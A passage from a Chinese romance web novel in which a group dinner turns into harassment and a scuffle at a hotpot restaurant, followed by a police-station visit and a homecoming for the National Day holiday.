“没事的时候就找寅言、嫚嫚他们,陪你说说话。最近都有联系吗?”
回想起前两天的那次找乐子之行,梁亦芝只含糊其辞:“有的,前两天我们刚聚了聚。”
“那我就放心了。下次你回来,叫上他们一起吧。特别是寅言,让他到咱们家来吃饭,我也好久没见他了。”
“知道了妈。”
一口一个寅言,叫的比自己女儿还亲,梁亦芝撇撇嘴,颇有微词。
和妈妈又絮叨几句挂了电话,梁亦芝一低头,屋外的阳光不知何时已经漫到了她搭在沙发的小腿上。她动动脚,身体和心里都暖融融的。
下午,梁亦芝在乐团练习结束之后,何嫚开着自己刚修好的车来接她,一起去吃饭。
何嫚和因为事故结缘的小女孩约在今晚见面。何嫚不想气氛太尴尬,说自己会带上朋友,让对方也可以带朋友一起来玩。
等红灯的间隙,何嫚手机响了一声,她看了眼:“璐璐他们也太快了,居然已经到了。怎么那么早?”
璐璐是那个女生的名字。
“这么快?”梁亦芝问,“顾寅言和蒋徊他们到哪了?”
“不知道。”何嫚语气恹恹,“别和我提顾寅言,我没叫他。”
“为什么?”
梁亦芝有些意外,以往他们四人之间的活动,不会有人落单。今天何嫚居然反常地没有喊顾寅言来,肯定是发生了什么情况。
何嫚说:“我之前接到了一个品牌手表的推广,人家需要男伴出镜,我喊顾寅言来帮我搭一下子,他死都不肯。”
何嫚忿忿不平地控诉:“只需要露个手腕、肩膀和胳膊就行,我是让他露脸了还是让他露点了,防我跟防贼似的,太没有义气了!”
梁亦芝试图帮顾寅言说两句好话:“这个……你也知道他的身份嘛,不想抛头露面也正常,万一被人家扒出来了。”
“能扒出来什么?通过他的掌纹判断出他是承晖的太子爷吗?”何嫚越说越气,冷声哼哼,“他就是不肯帮我忙,这一笔帐我已经记上了!”
“别气别气。”梁亦芝拿手作势给她扇风降火,“那你怎么不找蒋徊呢?”
“蒋徊那细狗,我看还是算了吧。”何嫚语带唾弃。
“我朋友圈那么多模特网红,要不是顾寅言的气质好,我怎么会找他?只是摆两个姿势而已,我还想当然地觉得他一定会帮我。”
前方又遇上路口的红灯,何嫚转过身,斩钉截铁道:“我警告你,今天不许叫他来啊。不然你们俩我都不搭理了。”
梁亦芝哄她:“好好好,我保证不叫。”
到达火锅店,他们在门口等到了蒋徊,才一块上去。
蒋徊见她们就问:“顾寅言呢?我给他发消息了,都没回我。”
梁亦芝冲他使了个眼色,何嫚在一旁开腔:“天天把顾寅言挂在嘴边,我问你今天这是谁的局?”
蒋徊仍旧是一脸懵。
何嫚:“今天有他没我,有我没他。走,吃饭去!”
15. 小卷毛
何嫚走在前,梁亦芝悄悄放慢脚步,给蒋徊解释了一番。
进了火锅店,璐璐早就在位置上等着了。等走近,梁亦芝才看清她的脸,对方长得确实很可爱,笑起来时的小酒窝很甜。
不过令她意外的是,璐璐带来的朋友是个男生。
“不好意思,久等了啊。”何嫚礼貌地先问,“旁边这位是……男朋友?”
“不是不是,”璐璐站起身,向他们介绍,“这是我哥,张骐。”
张骐跟着起身,冲他们一笑:“你们好。”
原来是哥哥啊。
对方站起来,梁亦芝才惊觉,张骐的块头极大,感觉有接近一米九,体格壮硕,一只胳膊感觉能吊起他们三个人。
跟娇小玲珑的璐璐截然相反。
所有人入座,璐璐先开口:“其实,车子追尾的那天,我哥也在车上,不过当时天比较黑,咱们都比较慌乱了,你可能没注意到他。”
“啊——”何嫚一副恍然大悟的模样,“我知道了,那天旁边那个高个子就是他吧。”
她话音刚落,一边的蒋徊凑近梁亦芝,保持嘴形不变,用腹语和她低声道:“我赌五毛她绝对不记得有这个人——”
梁亦芝装模作样地牵牵嘴角。
菜上齐,锅热起来,升起袅袅的白色烟雾。大家举着筷子,你一言我一语,都是年轻人,共同话题自然也多,聊得很是热闹。
何嫚也更加觉得,今天来吃饭,没带顾寅言而带了蒋徊是个绝对正确的选择。
如果带了顾寅言,他一语不发地坐在那,跟如来佛似的,只怕会把这顿饭吃成一个商务局。
而蒋徊热切、话又多,氛围很快就被炒起来了。
蒋徊大概是想帮何嫚,抛了个引子出来:“璐璐,下次周末大家一起出来玩呗。你们平时都喜欢玩什么?”
璐璐说:“我平时喜欢攀岩、打打剧本杀什么的。”
“攀岩啊。”蒋徊耳朵动了动,“何嫚也很喜欢运动,不过她喜欢滑雪。”
“真的吗?”璐璐双眼一亮,跟身边男人对视一眼,“还真巧,我哥也很喜欢滑雪,不过我不太会。”
梁亦芝笑着在一旁敲边鼓:“嫚嫚滑雪很厉害的,你们感兴趣的话,下次可以一起去。”
张骐似乎也被这个话题勾起了兴趣,对何嫚道:“你玩的单板还是双板?”
何嫚:“我喜欢玩双板。”
“这样啊,我一般都是玩单板。”张骐双臂交叠在桌沿上,肌肉挤压在一起,在布料之下蓬勃溢出。
他眼神凝视着何嫚:“下次有机会一起去的话,我可以教你。”
“那就不必了。”何嫚脸颊抽动,几乎是一秒回绝他,“我倒不是不会,就喜欢玩双板,用不着。”
张骐说:“没关系。除了滑雪,别的运动只要不是太小众的,我也都可以奉陪。”
“我哥是健身教练。”璐璐补充,“所以他在运动方面涉猎还蛮广的,一般的项目他都玩得很好。”
蒋徊捧场:“这么厉害?那下次我得请你做我的私教,我早就想好好健身了,一身腱子肉多帅气啊!”
“行啊。”张骐脸上露出笑容,自得地向后一靠,左手搭在璐璐的椅背上,“男人么,确实是要强壮一点,才好保护自己的女人。”
梁亦芝眉头轻蹙。
出于礼貌,她没表达自己的真实想法。
可何嫚就忍不住了,她嗤一声:“得了吧,别搞刻板印象,咱们女生也可以保护自己,没你们想的那么娇弱。”
张骐听完,蓦地勾起嘴角笑了:“何小姐,其实你不用逞能。男人都是有风度的,也不会因为外表身材就觉得你们很懦弱。相反,我觉得像何小姐这样就刚刚好。”
何嫚:“……你说什么?什么刚刚好?”
张骐:“何小姐平时肯定有在锻炼吧,我一眼就看出来了。像你现在的身材,非常匀称、很有美感。”
他甚至微仰起脸,打量何嫚被桌面遮挡下的身材:“该有的都有,多少女生求之不得呢。你要是锻炼的太过,那就不可爱了。”
“可、可爱?”
何嫚紧捏着手里的玻璃杯,被气的简直不知道该说什么好。她还是头一次被别人用可爱来形容。
梁亦芝也被这番话恶心得不行。
肆意评判别人的身材,还自己臆想女生们会因为身材雌竞,这到底是从哪里流放过来的奇葩?
梁亦芝低头,看到何嫚强压住把玻璃杯砸到对方头上的冲动,把手伸过来,放到她的腿上捏了又捏。
她拍拍她,趁没人注意时对何嫚低语:“我吃不下去了,咱们早点走吧。”
何嫚点头。
因为张骐刚刚的发言,场面暂时冷了一瞬。
璐璐忽然说想去下卫生间,又对张骐说,让他帮自己去车里拿下外套,她觉得有点冷。
两人先后出了门。
终于有个机会透透气,何嫚无语扶额:“今天让她带朋友来真是个最错误的决定。怎么带了个油腻男来?我要被恶心坏了。”
蒋徊贱嗖地模仿刚刚张骐的语调,嗓音放沉:“想学单板吗,嫚嫚?哥哥教你啊?”
何嫚抓起桌上用过的餐巾纸,隔着梁亦芝,朝蒋徊丢过去:“单板?我看你马上就要被我单杀!去死吧!”
蒋徊一个个挡回去,中间的梁亦芝不堪其扰。
火锅的辣锅辣度有些太重了,梁亦芝一时觉得闹肚子,她放下筷子、举起双手:“你俩再打会儿吧,我得去趟厕所。”
梁亦芝捂着肚子出了门,来到女厕。
经过厕所门口的走廊时,她听见一旁的消防通道,有人窃窃私语。
梁亦芝脚步一顿。
这声音有些耳熟,见一旁没什么人,她把耳朵悄悄贴到了门上。
“哥,你说话之前能不能先过一下大脑。你那样子,人家怎么会对你感兴趣?”
“我哪句话说错了?”男人的嗓音不以为然,“不是你让我直进一点吗?我说带她一起做运动,还夸她身材好了。”
“你要夸也要看场合啊!”女生恼怒,“好好吃着饭,突然夸人家身材好,人家当然会觉得你莫名其妙了!”
“不然你让我说什么?”
“所以我替你跟她聊那么多不是白聊了吗?你要把我告诉过你的信息利用起来,找共同话题。别只知道看外表,是怕别人不知道你是一个四肢发达、头脑简单的人吗?”
短短几句话,梁亦芝已经听出来了,里面的人正是璐璐和张骐。
听他们这么说,璐璐今天带他来,是想把张骐介绍给何嫚?
再一细想,看来这次碰面,对何嫚感兴趣的并不是璐璐,而是张骐。璐璐接近何嫚、和她聊天,只是为了多套一点她的信息,好给自己的哥哥牵线搭桥。
梁亦芝震惊的同时,门内两人的声音又响起来。
璐璐:“到底行不行?还是说你只是想玩玩?”
“当然不是了。”张骐听起来很是气恼,“我真的很想拿下她。”
“那你就上,实在不行,等会儿我再攒一个局,结束了咱们去ktv,总能制造出机会的……”
到这里,梁亦芝已经听不下去了,神经太过紧绷,胃部的痉挛跟着加剧。
她面色苍白,半弯下腰,倚在门框上想缓一缓。
忽然,走廊里响起脚步声。
一声两声,有人正朝这个方向过来。
梁亦芝回头,看见是个骨相周正的男生。
他烫了一头的卷发,五官轮廓很是精致,翘起的发尖是计算好的弧度。
通道宽敞,此刻只剩下她和这卷毛两个人,对面探究打量的视线投过来,梁亦芝只得硬着头皮承受。
她强忍着腹部的异样,站直身体,左右四顾,装作是在这等人。
对面的目光如有实质,分毫不差地停在她的脸上。
他走近时,梁亦芝的眼眸不慎与之对上。
那是一双漂亮、狭长、极具攻击性的眼睛。
近距离观察那张脸,梁亦芝才发现,他的嘴唇很红,气血饱满。
男人的嘴角慢慢牵起一个弧度,露出一个温柔的笑容,微微颔首,像是同她打了个招呼。
一定是错觉,他干嘛要对她打招呼?
梁亦芝敷衍地回以一笑,极其生涩。
经过后,男人转身进了洗手间。
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>梁亦芝再次凑到门缝前,还想挖掘些信息,可惜里面二人已经商讨完了,正准备出来。
情急之下,梁亦芝也进了女厕。
她躲进隔间等了会儿,没再有其他的动静。
腹部疼痛渐消,梁亦芝梳理了下刚刚听到的内容,又打心眼里愤怒。
这两个人的行为虽说合情合理,也并未违反任何公序良俗,可梁亦芝觉得,这是另外一种欺瞒。
况且从他们话语的字眼里,何嫚只是被当成了目标、猎物,他们没有半分尊重她的意思。
梁亦芝在厕所呆了一两分钟,决定赶紧回去,把这件事告诉何嫚。
她刚打开门走出,就听到外面传来何嫚的声音。
“有什么话好好说就行,你不要动手动脚的。”
“你不要怕我……”
“我真的不怕你。但你先松开,不然我打人了啊——”
何嫚看梁亦芝上了半天厕所都没回来,想去找她,半路上就遇到了张骐。
张骐一直挡在她跟前,跟她说这个说那个,何嫚不想搭理,径直想走,哪想到张骐忽然抓住了她的手,说想跟她聊一聊。
何嫚态度很差,张骐哪受得了被这么对待,脾气上来,把何嫚抓得更紧:
“你这什么态度?我就想好好跟你说两句话,你至于这样吗?”
“你说话要用手说?”何嫚瞪着他,双目都流露出厌恶。
再想到刚刚饭桌上他说的那些令人作呕的话,她彻底没了好脸色,“滚开!离我远一点!”
梁亦芝出来就看到这一幕,赶紧上前:“怎么了?别动手。”
“可以不动手,但是先让你朋友把态度放尊重一点。”张骐朝梁亦芝吼道。
他的力气太大,两个人加起来都抵不过他。何嫚的手腕纤细,被他那么一握,一整圈都泛着红。
张骐:“何小姐,你肯定也看出来了,我是对你有意思,所以想单独跟你说两句话而已。可你那是什么眼神?”
何嫚反问:“你?对我有意思?”
张骐:“当然,不然我妹为什么找你聊那么久?我真的没别的坏心思,那天追尾咱们第一次见面,我就觉得你长得很漂亮。我特别喜欢你,我妹也喜欢你。你——”
何嫚的怒气升到头顶,忽然明白过来了什么:“啊——原来是你喜欢我啊。”
她冷笑两声:“行,那我现在告诉你,你们俩我都我不喜欢。而且是非常讨厌,恶心!我看饭也不用吃了,就这样,大家好聚好散吧!”
何嫚使出吃奶的劲,终于挣脱。
张骐被她的话一下给激怒了,心说这女孩敬酒不吃吃罚酒,跟她说理她不听,必须给她点颜色看看:
“恶心是吧?来!”张骐抬手,在何嫚薄薄的肩膀上戳了一下,力道大的何嫚踉跄两步,“怎么样?还恶心吗,再表演一下?”
他唾沫横飞,举着手又想往何嫚肩膀上戳。
梁亦芝下意识挡到何嫚身前,被张骐推一把,直接撞上了一边冰冷坚硬的瓷砖墙上,隔着皮肉,骨头生疼。
“亦芝——”
“你们就是欠!”张骐最看不惯眼前这两个女人,自恃清高、惺惺作态。
张骐抻臂,还想把何嫚捞过来。然而手刚抬起,就被一股力量牵制住了。
即将落下的手被挡住。
梁亦芝抬头。
竟然是刚刚进了洗手间的那个卷毛。
没想到他看起来骨骼薄瘦,挽起袖子的一截小臂却极富力量感,肌肉绷起,青筋暴突。
他扣着张骐的手,对方动弹不得。
卷毛礼貌地看向梁亦芝,问:“小姐,需要帮忙么?”
他垂着眼睫,显得眼尾像带着勾子,上扬更甚。瞥向梁亦芝的那一眼特别特别轻,然而目的却很明确。
张骐见有人搅局,破口大骂:“傻x!滚远一点。”
他扬手想挣脱桎梏。然而刚一动,卷毛也发了力,张骐吃痛地叫一声。
卷毛像听不见似的,直勾勾地看向一边仓皇失措的梁亦芝,漆黑的眸光里只留下那清晰的一点。
他挑挑眉,像是在等待她的指示:
“我听你的。”
16. 贺新图
对方明显是来帮自己撑腰。
梁亦芝心领神会,立刻指控:“他要骚扰我们!”
“我呸!”
张骐张口就要抡胳膊,好像不动手就说不了话似的:“是她们先惹我的!两个不要脸的东西!”
卷毛像是被他的声音吵到了,抬手不耐烦地堵了下耳朵。他制住张骐,一面拨打电话:“别吵。真相是什么样,把警察叫来就知道了。”
卷毛拿起手机。
趁他注意力转移时,张骐终于寻到了机会,他抽出手掌甩开对方,抓着卷毛的领子把人扔到墙上。
卷毛明显没料到他会突然来这么一下。
他背撞上墙,一下吃痛,眉头忍不住皱起,表情痛苦。
梁亦芝被吓的心惊。
只是这样怎么够解气,张骐还想再补两拳,好在这时,蒋徊从后面冲了出来,一脚把人踢倒在地。
蒋徊暴怒:“耍流氓呢?还要不要脸了?”
璐璐也跟了出来,被蒋徊吓了一跳,跑到张骐边上查看情况。
她朝他们哭喊:“你们怎么打人啊!”
“我就打他了!”蒋徊撇开外套,双手插着腰,“刚刚在饭桌上就想打,一时没忍住。怎么?言语骚扰完,还想霸王硬上弓?”
“干你屁事!”张骐一个鲤鱼打挺,翻身站起来,跟蒋徊扭打在一起。
他们闹出了不小的动静,火锅店的工作人员终于冲上来拉架,许多八卦的客人也忍不住上前围观,场面一度混乱。
……
他们被带到警察局。
跟警察交代完基本情况,梁亦芝和卷毛先被赶到一边等待,其他人还在接受问询。
梁亦芝终于得空和他道谢。
她坐到他身边:“真的很不好意思,给你添麻烦了!”
“不麻烦。”卷毛笑笑,耸了耸肩,“在那种情况下出手是人之常情。不是我,其他人看到也会过来帮忙的。”
不管怎么说,梁亦芝还是发自内心感谢他拔刀相助,毕竟在碰上这种事情的时候,人的第一想法都是不要引火上身。她很感激他那么做。
“真的很谢谢你。”梁亦芝说,“还没问你叫什么名字,我该怎么称呼?”
卷毛靠在椅背上,懒散地回答她:
“我叫贺新图。”
他又问:“你呢?”
“梁亦芝。”
贺新图点点头,唇瓣微动,像是在反复默念她的名字。
或许是因为走廊上的那一眼,贺新图觉得这女生挺有眼缘。所以看到他们遇见麻烦,没怎么多想便插手了进去。
贺新图看向她:“所以,之前在走廊里,你趴在大门上,是在偷听吗?”
梁亦芝面露窘迫:“那是因为我要去洗手间的时候,正好听见他们在里面谈话,我觉得不太对劲,就上去听了听。”
“他们在聊你的朋友?”
“对。他们在说,要拿下她,之类的话。”
梁亦芝又说:“真的很抱歉把你牵扯进来,我们也没想到他会突然动手,这件事本来可以好好解决的。”
贺新图笑了笑,安抚她:“我倒不这么认为。有些人,你跟他讲道理就是白费功夫,他得吃了亏,以后才不会去祸害别人。”
梁亦芝点点头。
这会儿光线好,又离得近,她这才发现他其实是单眼皮,鼻梁很高,卷起的头发盖住了耳廓的上半部分,耳蜗和耳骨处都打了耳钉,闪光若隐若现。
她关心起来:“我看你刚刚撞到了墙上,有没有哪里受伤吗?要不要去医院检查一下?”
贺新图答:“小事,没什么大碍。”
他侧头左右拉伸了下:“而且我也没帮上什么。我其实不太会打架,有看出来吗?”
梁亦芝一愣。
回想起来,整个过程中他确实没怎么动手,被张骐那一甩后,基本都是蒋徊和张骐两人在纠缠。
贺新图坦言:“我没怎么跟人打过架,不过我会装架势。”
他的打扮和相貌,加上特殊的气质,看起来就像个搞艺术的人,不太会随随便便跟人动手,也没什么实战经验。
贺新图转了转自己的手腕,仿佛在给她展示:“而且我力气还挺大的。”
他把手朝梁亦芝伸过去。
“嗯?”
贺新图问:“掰手腕,要不要试试看?”
他的小臂悬在半空,五指虚拢,停在她面前。
梁亦芝看着那清瘦的小臂,想起刚刚他在走廊上,也是同样的动作,替她们截住了即将到来的危险。
鬼使神差地,她举起自己的手,握了上去。
十指碰在一起,但掌心并没有完全贴合。
贺新图轻捏了一下她的手,唇角微扬。
梁亦芝注意到,他的嘴唇很红润,显得牙齿更加整齐又洁白。
他说:“你们女生的手果然都这么软。”
梁亦芝一时尴尬,脸颊漫上了点红。她微微抬起了点自己的指尖,不想上面那层厚重的茧磨到他。
贺新图:“来吧。那我数三二一,就开始。”
“好。”梁亦芝点头。在他三声发令后,开始使劲。
她发誓她真的没有矫情,好歹平时也经常拉弓,她的力量绝对不算小的。
可对面的贺新图甚至没有尝试掰倒她,只是笑脸盈盈地看着。
两股力量相斥,凝聚在手腕和掌心,贺新图的手端在原处纹丝不动,静静等待她扭转局面。
梁亦芝抿着唇,连腮帮子都在使劲。
贺新图看见她因为用力,唇边浅浅凹陷下两道。
他笑意更深,主动泄了劲。
贺新图小臂放倒,梁亦芝的手压上去。
她就这么扳赢了他。
梁亦芝表情愣怔,看着贺新图,掌根互相擦着,和对方的贴合在一起。
……
顾寅言进来的时候就看到这样一幕。
一个男人背对着他,和梁亦芝坐在一块。
他们的手牵在一起,而梁亦芝的双眼仿佛被摄了魂魄一般,驻留在那人的脸上。
顾寅言大半夜接到电话,自己的三个好朋友涉嫌寻衅滋事,闹到警察局。一通电话让睡梦中的顾寅言霎时清醒。
他火急火燎赶到这里,可事情好像并没有像他想象的那么复杂。
至少某人似乎还有跟人搞暧昧的心情。
该说他会挑时间吗?
他就像一个不速之客,总是晚一分钟出现,不合时宜地破坏了别人的好事。
顾寅言面不改色地站在门外。
很快,梁亦芝也看见了他。
她一下甩开贺新图的手,站起身,对门口沉默的人影道:“你来了?”
顾寅言一瞬不瞬地盯着她,眸色讳莫如深。
怎么回事?
她怎么生出种偷情被现场抓包的感觉……
毕竟为什么跟一个陌生男人在警察局扳手腕,这事解释起来好像有点复杂。
贺新图闻声也扭头,扫了来人一眼。
顾寅言走近了,才幽幽开口,对梁亦芝道:“心情不错?”
“啊?”
他语意似是在调侃,可从他阴鸷的面孔上,梁亦芝没读出一丝玩笑的意味。她头脑混沌,手合着拳,轻轻搓着。
她想,应该先给顾寅言介绍一下贺新图,并且告诉他,是他刚刚在火锅店帮了他们。
梁亦芝刚抬手:“这位是——”
“何嫚呢?”顾寅言打断了她。
“……在那边,警察还在问话。”
顾寅言视线上下扫描:“受伤了么?”
“没有,我们没动手,不过蒋徊挨了好几拳。还有刚刚……”
时至凌晨,温度骤降,警局里冷冷清清的,空气有些凉。
大概是看梁亦芝穿着单薄,她话还没说完,顾寅言脱了身上的黑色大衣,罩在她肩膀上。
动作实在算不上温柔。
顾寅言似乎对她方才的行为和身边出现的陌生男人没什么兴趣,把衣服丢给她后,一语不发地走开。
梁亦
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芝咽下未说出口的话,赶紧跟上。
他们走到何嫚几人身后,警察问:“是你们的朋友?”
何嫚心情正差,转头看见是顾寅言。她还在记他的仇,依旧没好气,嘟囔了句:“你怎么来了?跟你没关系。”
顾寅言:“没关系还打给我?要我来看你们出丑?”
一旁的璐璐看他们搬来救兵,嘲讽道:“还不是你们蛮不讲理,否则至于闹成这样吗?我哥就是想跟你说两句话,还以为自己多金贵,碰都碰不得?”
尖锐的女声叫嚷着,何嫚刚要站起身跟她对峙,被顾寅言拦住。
顾寅言这会儿脸色极差,或许是带着半夜的起床气,又有股不知从何而来蕴着的郁气。
他拧过头,声色冷冽,对璐璐道:“我在问我朋友,没在问你。”
顾寅言身上像带着从外赶来的寒意,他气场本就强,加之又穿了一身黑,无形中更给人施压。
璐璐被那一声吓到了,心里发怵,嘴上“嘁”一声,偏过脑袋。
梁亦芝眼看情形不对,赶忙帮着说软话:“真的是意外,他们先动手,拉着何嫚不放,蒋徊是看到这个冲上来,才会动手的。”
这时,里面又走出个警察,出来跟顾寅言打了声招呼。两人谈着话,进了后面其中一个房间。
大概过了十分钟,顾寅言出来了,警察叔叔也说调取了火锅店监控,确认他们做完笔录,可以先行离开。
离开前,警察叔叔又语重心长地轮番教育了他们一遍,遇到这种骚扰第一时间找工作人员帮忙报警,不要自己盲目冲动。
三人连连哈腰,表示明白了,这才走出去。
梁亦芝重新看向原先的座位。
之前坐在那的贺新图不知什么时候不见了。
她又环视一圈,依旧没看到那头引人注目的卷发。
贺新图没打一声招呼就离开了,这个认知让她心里顿时有些怅然若失。
本来还想好好跟他道谢的。
“梁亦芝。”顾寅言回头,在前方停下喊她。
她这才回神:“来了。”
等梁亦芝走到自己身边,顾寅言才扭头,往刚刚她目光弥留的方向看了一眼。
夜幕低垂,往常这个时间,他们聚在一块,通常都是从娱乐场所中出来,还是头一回从警局里走出。
空气湿冷,风也喧嚣,四人一路无言上了车。
何嫚一路低着头,直到到了车上,才对其他人说:
“对不起,今天是我给你们添麻烦了,我不该组这个局。”
何嫚心里很是内疚。
她本可以不叫他们来,如果不带上双方各自的朋友,或许就不会发生这些事。
梁亦芝搂着何嫚坐在后座,搓搓她肩膀安慰:“没事的嫚嫚。就算你今天不叫我们,这件事迟早都会发生,提前解决了也未必不是一件好事,至少没酿成什么严重的后果。”
蒋徊已经把刚才警察嘱咐的话忘到了天边:“就这个畜生,我见一次打一次。重来一次我还打!”
何嫚强压住心底翻涌的情绪,朝前排道:“蒋徊,你要不去医院看一下吧……”
顾寅言看了蒋徊一眼,发动车子:“就这点伤口,天没亮就愈合了。”
“谁说要愈合了?”蒋徊指指自己的脸,“没看见哥们脸上这么大一块淤青?”
何嫚道:“蒋徊,对不起,这次真的赖我。接下来一个月,我随你使唤。”
“真的?”蒋徊得了便宜还卖乖,忽然捂着肚子故作呻吟,“哎哟——突然感觉这肚子也疼、头也疼,肯定摔出内伤了。得要一大笔精神损失费了……”
“你——!”
“有病就去医院。”顾寅言讽刺,“现在下车爬去江医生那里卖惨,比你之前几次都管用。”
“好好好……你们几个都是抖s吧,往别人伤口上撒盐是你们的癖好吧!”
梁亦芝和何嫚对视一眼,双双笑出了声。
汽车驶出,飞驰在空无一人的街道上。
夜色正好,年轻真好。
17. 苦茶
国庆假期将至。
金秋时节,天气好的日子里,白天阳光依然炽热,夜里却总是凉风席卷,冻得人起鸡皮疙瘩。
继上一次的交友乌龙后,何嫚扬言宣布自己将闭关几天,除了工作需要外,拒绝一切成分过杂的社交场合。
蒋徊嘲笑她,自己则跟着几个兄弟,结伴去了大西北旅行。
梁亦芝和顾寅言都没什么特殊安排,他们约定好时间,提前一天错开车流高峰,开车回家。
这次回家约莫也就三四天,梁亦芝之后还有演出,在家呆不了太久。但她还是很想回去一趟,她很久没见到爸爸妈妈了。
回程的一路,梁亦芝坐在顾寅言的车上,望着窗外飞驰而过流动的景色,轻轻哼着歌,心情很是美丽。
抵达家门口时,车刚停稳,梁亦芝就看见母亲和阿姨已经站在了家门口。
“总算回来了。”梁妈妈迎上前,对刚下车的女儿上下审视、一顿检查,“怎么瘦了不少?”
梁亦芝应和着,一面诉苦:“就是啊,拉琴拉得我都日渐消瘦了。所以今天做了什么好吃的?闻着好香。”
“就知道吃。”梁妈妈敲她那狗鼻子一下,又对身后的顾寅言笑着说,“寅言,开车过来一路累坏了吧。”
顾寅言温声答:“不会阿姨,没开多久。”
“那就好。”梁妈妈又问,“你爸妈回来了吗?”
“还没,他们要过两天。”
梁妈妈笑说:“那正好,阿姨做了很多菜,今天你就留在这吃晚饭啊。”
“好。”
行李交由做事的人搬到屋里。顾寅言先把车停回自家,过了好一会儿才回到梁家。
保姆给他开了门,穿过玄关,食物的香气愈发诱人。
客厅里没人,顾寅言一看,大家都拥在厨房里。
他问坐在岛台边的梁亦芝:“梁老师今天不在?”
梁亦芝回答他:“我爸他今天去给市里的钢琴大赛作评委了,得晚点才到家。”
梁妈妈听见声响,转身再次招呼他:“寅言,今天好吃的多着,给你们做了花胶鸡,还有寅言你爱吃的清蒸鲈鱼。”
顾寅言礼貌答:“麻烦阿姨。今晚打扰了。”
“客气什么。”梁妈妈嗔怪,“一家人,说什么打扰不打扰的。”
梁亦芝刚回到家,衣服也没换,洗净了手就主动来厨房给梁妈妈打下手。听见母亲对顾寅言如此殷切,她甚是不满,甩了甩手上的水珠,说:“妈,你这么喜欢顾寅言,干脆给他在家留间房算了。”
“我倒是愿意。”梁妈妈故意顺她的话答,“寅言来我这,你去顾家那。就是人家顾家可不一定愿意了。”
“什么意思啊妈?”梁亦芝满腹幽怨。
顾家不要,她还不乐意去呢。
那令人窒息的氛围……她可待不下去。
母亲从他们认识起,就对顾寅言多有偏袒。
或许这就是属于“别人家的孩子”的特权。顾寅言从气质外表,就是很招家长一辈喜欢的那一挂,从小成绩优异,又人情练达,因此父母看他总是带着滤镜的。
顾寅言脱了大衣,走到梁亦芝身边。他抬手,解下银色的腕表,挽起衬衫的袖子,问:“有没有我能帮忙的?”
梁亦芝挪开自己面前刚择好的菜盆,眼神警惕,意思是:别抢我的功劳。
顾寅言了然。
然后干脆直接去梁妈妈那边帮忙备菜了。
厨房里忙得热火朝天,梁亦芝厨艺不精,只帮忙做些洗菜择菜的活;梁妈妈和保姆张妈分别负责烹饪,顾寅言则在料理台前处理生肉。
她坐在后面的中岛台边,看着面前井然有序的画面,心里生出些不一样的滋味。
她很喜欢这种家人朋友团聚在一起的氛围。
大概是有些时间没动刀了,顾寅言在切排骨的时候,不小心把拇指上划了一道。
他并未出声,只是微微皱了皱眉,不动声色地抹去了拇指上的血珠。
还是梁亦芝看到了。
她放下手里的菜,来到他手边说:“给我看看。”
她拉过顾寅言的手。他的手骨节分明,甲床形状也生得好,修剪的干净得体。
手指尖侧边的地方,被划开了口子,皮肉微微翻起来,又渗出了几滴血珠。
梁亦芝嘲讽他:“还要表现,你交给张妈弄多好。”
“不要紧。”
顾寅言想抽回手,可梁亦芝不放,说:“你别弄了,我去给你拿个创可贴。”
她说完就从厨房里出来,脚步加快,准备上楼回房间拿东西。
这时门铃响了。
玄关大门处离厨房很近,梁亦芝索性顺手开了门,见到门外的人,喊了声“回来了爸?”,连面都没露全,就又赶去了楼上。
梁爸爸见到女儿,还没嘘寒问暖两句就跑走了,心里腹诽着,都长这么大了,跳脱的性子还是一点没变。
梁爸爸进了屋,顾寅言也来到客厅,喊了声:“梁老师。”
梁亦芝的家庭是典型的音乐世家。父亲梁佑德是圈内小有名望的钢琴家,母亲肖钰是音乐附中的老教师。
顾寅言高中时,就曾是梁佑德的学生,跟着他学习钢琴。
梁爸爸看到两人,笑得和蔼:“寅言啊,跟亦芝一块回来的?”
“对。”
梁亦芝取了创可贴,又从楼上小跑下来,说:“刚回到家,就把顾大少爷给伤到了。”
梁爸爸问:“怎么回事?”
“一点小伤,没什么大碍。”
顾寅言抬起手,梁亦芝把创可贴撕开,将中间部分对准创面,小心翼翼地贴上去。
顾寅言这才看到,创可贴不是普通肉色的那种,上面有许多花里胡哨的图案。
顾寅言:“……我感觉好像不用贴。”
“搞定。”梁亦芝置若罔闻,把创可贴贴好,用大拇指在上面轻抚了两下,把遗留的垃圾扔进纸篓。
梁爸爸坐在一旁的沙发里,看着面前并肩坐着的二人,相处如此和谐,露出欣慰之色:
“你们俩现在长大了,倒是比以前懂事、和睦多了。”
梁亦芝不太喜欢听父亲叨叨以前的事,说起来没完没了的。
梁亦芝:“爸,都是大人了,就别提小屁孩时候的事情了。”
“自己做的,还不让说。”梁爸爸啧啧两声,“你都忘了你以前怎么整顾寅言的?弄得人家没一节课能好好上,练习的时间都被你浪费了。”
梁亦芝无赖地撇撇嘴。
高一时,顾寅言的父亲拖了关系,结识了同住在一片区的钢琴家梁佑德,想让自己的儿子去他那学习钢琴。
毕竟作为显赫家世的继承人,琴棋书画样样精通是必备的修养。
这对梁佑德来说并不是一件麻烦事,他当即答允。此后,顾寅言便常来梁亦芝家练琴,每周一三五,晚上八点过来学习两小时,周末抽一天,来梁家自主练习。
梁爸爸坐着,给桌上的杯子里倒满茶,一边回忆:“我就说这孩子悟性高,又聪明,学东西都很快。怎么过了一个假期,进度就开始落下了?结果都是你在妨碍人家。”
梁亦芝矢口否认:“爸,你怎么能说成是妨碍呢?那叫互帮互助。况且那会儿虽然顾寅言退步了,但我进步了呀。”
梁爸爸反问,“这还说不是你单方面影响寅言?”
梁亦芝说不过,想让顾寅言帮自己。
见他双唇微抿,一脸事不关己的态度,她喊他:“顾寅言,你怎么不说两句?”
顾寅言淡然:“虽然当时确实受到了不少影响,但我还是从梁老师这里学到了很多。”
梁亦芝:“?”
高中时代,堪称是梁亦芝人生轨迹里走得最为艰难的一段。
路线歪歪扭扭,虽成功延伸向了终点,可过程却是极为曲折的波浪线。
梁亦芝的玩心很重。高中时,为了全力冲刺最好的音乐学府,她需要学习和练琴两手抓。兼顾文化课的同时,每天还要保证练琴时长。
这对她来说实在是苦不堪言。练习烦闷、压力过大,因此那段时间,梁亦芝总想着给自己找点乐子。
她长时间都待在家,能见到的人,除了父母,就是顾寅言了。
顾寅言比她大一岁,又高一届。虽然面生,可梁亦芝丝毫无惧,执着的认为顾寅言是一个非常好接近的同龄人。
所以,每当梁佑德带顾寅言练琴时,她总故意找借口,进琴房拿点东西,或者旁听一会儿。
后来和顾寅言熟了,胆子便逐渐大起来。
起初任她如何骚扰,顾寅言都是一副古井无波的样子。
后来每当他练琴,梁亦芝就故意弄出点动静,或者给他发信息,邀请他来自己这打游戏。
